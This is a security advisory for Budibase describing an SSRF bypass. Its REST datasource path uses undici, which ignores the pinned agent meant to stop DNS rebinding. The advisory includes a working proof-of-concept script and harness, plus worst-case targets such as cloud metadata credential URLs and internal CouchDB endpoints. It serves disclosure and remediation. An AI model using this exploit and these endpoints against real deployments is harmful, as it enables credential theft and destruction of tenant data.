GHSA-v42f-v8xc-j435

### Summary Budibase's central outbound-fetch guard (`fetchWithBlacklist`) prevents SSRF/DNS-rebinding by resolving the target hostname, checking every resolved IP against the blacklist, and **pinning** the connection to the validated IP. The pin is implemented as a Node `http(s).Agent` (`makePinnedAgent`). The fix for CVE-2026-54353 relies on this pin to stop DNS rebinding. The REST datasource integration (`@budibase/server`) calls `fetchWithBlacklist` but performs the actual request with **undici**'s `fetch`. undici does not support the Node `agent` option — it is silently ignored — and instead uses its own `dispatcher`, which re-resolves the hostname's DNS at connection time. As a result, **the validated/pinned IP is never used on the REST datasource path**, and the DNS-rebinding protection that CVE-2026-54353 added is silently defeated for the single most-used outbound path in Budibase. An authenticated user who can configure/run a REST datasource (e.g. a builder/tenant) can use a rebinding hostname (public IP during validation, internal IP at connect) to make the server issue arbitrary, full-response HTTP requests to internal-only services — cloud metadata (IAM credential theft), the internal CouchDB/Redis/MinIO, and other internal endpoints — reading and, because REST datasources allow arbitrary method/body, writing or destroying internal data. ### Details **The guard pins the validated IP via a Node agent** — `packages/backend-core/src/utils/outboundFetch.ts`: - `resolveSafePinnedIp(url)` resolves the hostname and checks every address against `isBlacklisted`, returning a single `pinnedIp` (lines ~39–53). - `makePinnedAgent(url, ip)` builds a **Node** `http.Agent`/`https.Agent` whose `lookup` always returns `pinnedIp`, so a node-fetch connection can only reach the validated IP (lines ~55–68). - `fetchWithBlacklist` passes that agent into the request: `fetchFn(nextUrl, { ...nextRequest, agent: makePinnedAgent(nextUrl, pinnedIp) })` (lines ~186–192). Each redirect hop is re-validated and re-pinned in the loop. **The REST integration overrides the transport with undici, which ignores `agent`** — `packages/server/src/integrations/rest.ts`: - `fetch` is imported from **`undici`** (top-of-file import block, ~line 30). - The request is made by overriding `fetchFn` (lines ~767–793): ```ts const setDispatcher = (requestInput, requestUrl) => ({ ...requestInput, dispatcher: getDispatcher({ rejectUnauthorized, url: requestUrl }), }) ... response = await coreUtils.fetchWithBlacklist(url, input, { fetchFn: async (requestUrl, requestInput) => fetch(requestUrl, setDispatcher(requestInput, requestUrl)), // undici.fetch }) ``` The options object reaching `undici.fetch` is `{ ...nextRequest, agent: <pinned Node Agent>, dispatcher: <getDispatcher result> }`. **undici uses `dispatcher` and ignores `agent`.** **The dispatcher does no IP pinning** — `packages/backend-core/src/utils/fetch.ts`: - `getDispatcher` → `createDispatcher` → (no proxy env) → `createDirectAgent` = `new Agent({ connect: { rejectUnauthorized } })` (lines ~109–114, ~161–172, ~183). This is a plain undici `Agent` with **no `connect.lookup` / no pin**, so undici resolves the hostname's DNS itself at connect time. **Net effect (TOCTOU / DNS rebinding):** `fetchWithBlacklist` validates the hostname → safe public IP and builds a pinned Node agent; the REST path then connects via undici, which re-resolves the same hostname independently. With a rebinding domain (TTL 0: public IP during validation, `127.0.0.1` / `169.254.169.254` / internal IP at connect), the request lands on an internal service — exactly the gap CVE-2026-54353's pin was meant to close. **Scope of impact / why it's REST-specific:** `rest.ts` is the only caller that overrides `fetchFn` with undici. All other outbound sinks (automation `outgoingWebhook`/`n8n`/`make`/`zapier`/`discord`/`slack`, and AI-extract's `processUrlFile`) use the default node-fetch-based `fetchWithBlacklist`, which **does** honor the pinned agent and is **not** affected. REST datasource queries are the most common outbound path, and the response body is returned to the caller (full-response SSRF, not blind). ### PoC The PoC drives the **real, unmodified** guard code (`outboundFetch.ts` + `fetch.ts`, copied verbatim — sha256 verified) and reproduces the exact `rest.ts` call pattern. Only the `../blacklist` module is stubbed to model the rebinding **input** (validation observes a safe public IP). Requires Node 18+. ```bash # prerequisite: a Budibase checkout; set BB to its path export BB=/path/to/budibase mkdir ssrf-poc && cd ssrf-poc SRC="$BB/packages/backend-core/src" # 1) Copy the REAL guard code, verbatim (sha proves no edits) mkdir -p real/utils real/blacklist cp "$SRC/utils/outboundFetch.ts" real/utils/ cp "$SRC/utils/fetch.ts" real/utils/ # 2) Scenario stub = the rebinding INPUT: validation sees a safe, non-blacklisted public IP cat > real/blacklist/index.ts <<'EOF' const SAFE = "203.0.113.10" // RFC5737 TEST-NET-3, not blacklisted -> validation passes export async function resolveAddress(_a: string): Promise<string[]> { return [SAFE] } export async function isBlacklisted(a: string): Promise<boolean> { return a !== SAFE } EOF # 3) Harness = REAL fetchWithBlacklist + REAL getDispatcher, exact rest.ts pattern cat > entry.ts <<'EOF' import http from "http" import { fetch as undiciFetch } from "undici" import { fetchWithBlacklist } from "./real/utils/outboundFetch" // REAL guard import { getDispatcher } from "./real/utils/fetch" // REAL dispatcher async function main() { const server = http.createServer((_q, r) => r.end("INTERNAL_SECRET_RESPONSE")) await new Promise<void>(r => server.listen(0, "127.0.0.1", r)) const port = (server.address() as any).port const target = `http://localhost:${port}/` // OS resolves localhost -> 127.0.0.1 at connect console.log(`[*] internal service 127.0.0.1:${port}; guard validates host -> 203.0.113.10 (safe), pins to it`) // (A) REST datasource path: undici fetch + real getDispatcher (exactly rest.ts). const restFetchFn = (u: string, i: any) => undiciFetch(u, { ...i, dispatcher: getDispatcher({ url: u, rejectUnauthorized: true }) as any }) as any let A: string try { const r: any = await fetchWithBlacklist(target, { method: "GET" } as any, { fetchFn: restFetchFn }); A = `status ${r.status} body=${await r.text()}` } catch (e: any) { A = `ERROR ${e.message}` } console.log("(A) REST/undici path ->", A) // (B) Negative control: default fetchFn (node-fetch) honors the pinned agent. let B: string try { const r: any = await fetchWithBlacklist(target, { method: "GET", timeout: 3000 } as any); B = `status ${r.status} body=${await r.text()}` } catch (e: any) { B = `ERROR ${e.message}` } console.log("(B) node-fetch path ->", B) const bypass = A.includes("INTERNAL_SECRET_RESPONSE"), contained = !B.includes("INTERNAL_SECRET_RESPONSE") console.log(`\nRESULT: ${bypass && contained ? "PASS - undici path BYPASSES guard, node-fetch path CONTAINED" : "FAIL"}`) server.close(); process.exit(bypass && contained ? 0 : 1) } main() EOF # 4) Deps, bundle, run npm init -y >/dev/null 2>&1 npm install undici@6 node-fetch@2 esbuild npx esbuild entry.ts --bundle --platform=node --format=cjs --outfile=entry.cjs node entry.cjs ``` **Expected output** (the port is the only variable): ``` [*] internal service 127.0.0.1:<random>; guard validates host -> 203.0.113.10 (safe), pins to it (A) REST/undici path -> status 200 body=INTERNAL_SECRET_RESPONSE (B) node-fetch path -> ERROR Failed to connect to resolved IP for localhost: network timeout at: http://localhost:<random>/ RESULT: PASS - undici path BYPASSES guard, node-fetch path CONTAINED ``` **How to read it:** - **(A)** the real `fetchWithBlacklist` validated and pinned the safe public IP `203.0.113.10`, yet the undici REST transport re-resolved `localhost` and reached `127.0.0.1` — the internal service responded → **SSRF bypass**. - **(B)** the default node-fetch path honored the pin (forced to the unroutable `203.0.113.10`) and never reached the internal service. The `"Failed to connect to resolved IP for localhost"` string is emitted by the real `outboundFetch.ts`, proving the pin works there. This is the negative control localizing the bug to the undici transport. **Real-world variant:** instead of `localhost`, an attacker uses a domain they control with a 0-second TTL that returns a public IP during the guard's validation lookup and an internal IP (`169.254.169.254`, `127.0.0.1`, internal CouchDB/Redis) at undici's connect-time lookup; the REST datasource query then returns the internal response body to the attacker. ### Impact **Type:** Server-Side Request Forgery via DNS rebinding (CWE-918 + CWE-367), full-response and with arbitrary HTTP method/body (REST datasources let the caller choose method, headers, and body). **Who is impacted:** Any Budibase deployment on an affected version, especially multi-tenant / Budibase-Cloud-style hosting where builders/tenants are not trusted with host-internal access. The SSRF blacklist is the control that contains those users; this bypass defeats it. **Realistic worst case:** An authenticated builder/tenant points a REST datasource at a rebinding host and makes the server: - read cloud metadata (`http://169.254.169.254/...`) → steal IAM credentials → **cloud account compromise**; - read the internal CouchDB (`http://127.0.0.1:5984/_all_dbs`, `_users`) → **all tenants' apps, users, and secrets**; - using `PUT`/`POST`/`DELETE` against unauthenticated localhost services → create admin documents, modify or **delete** tenant databases / flush caches → integrity and availability loss for all co-tenants. ### CVSS 3.1 Vector Justification | Metric | Value | Why | |---|---|---| | Attack Vector (AV) | Network (N) | Triggered through Budibase's HTTP API / app (a REST datasource query). | | Attack Complexity (AC) | High (H) | Requires DNS rebinding — the validation-time IP must differ from the connect-time IP (TOCTOU). A direct internal request without rebinding is blocked by the blacklist, so the race is mandatory. | | Privileges Required (PR) | Low (L) | Requires an authenticated account that can configure/run a REST datasource (builder/tenant). | | User Interaction (UI) | None (N) | The attacker configures and triggers the request; no victim interaction. | | Scope (S) | Changed (C) | Canonical SSRF: the vulnerable component is abused to reach resources in other security authorities (cloud metadata, internal CouchDB/Redis/MinIO). | | Confidentiality (C) | High (H) | Full-response SSRF: read cloud IAM credentials and the internal CouchDB (every tenant's apps, users, secrets). | | Integrity (I) | High (H) | Arbitrary method/body allows `PUT`/`POST`/`DELETE` to unauthenticated localhost services (CouchDB `:5984`) → create admin docs, modify tenant data. | | Availability (A) | High (H) | The same write primitive can `DELETE` databases / flush Redis → full data/service loss for all tenants. | **Notes:** AC:H is the standard, defensible scoring for DNS rebinding; if rebinding is treated as reliable (TTL-0 frameworks), `AC:L` yields `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`. A conservative read-only interpretation is `I:N/A:N`. ### Suggested remediation Make the transport that actually performs the request honor the validated IP. In `getDispatcher`/`rest.ts`, construct the undici `Agent` with a `connect: { lookup }` (or custom `connect`) that returns **only** the `pinnedIp` resolved by `fetchWithBlacklist` (i.e., mirror `makePinnedAgent` for undici), so the dispatcher cannot re-resolve DNS; alternatively, re-check the resolved peer IP against `isBlacklisted` inside the undici `connect` callback. The Node-`agent` pin must not be relied upon when the request is issued through undici.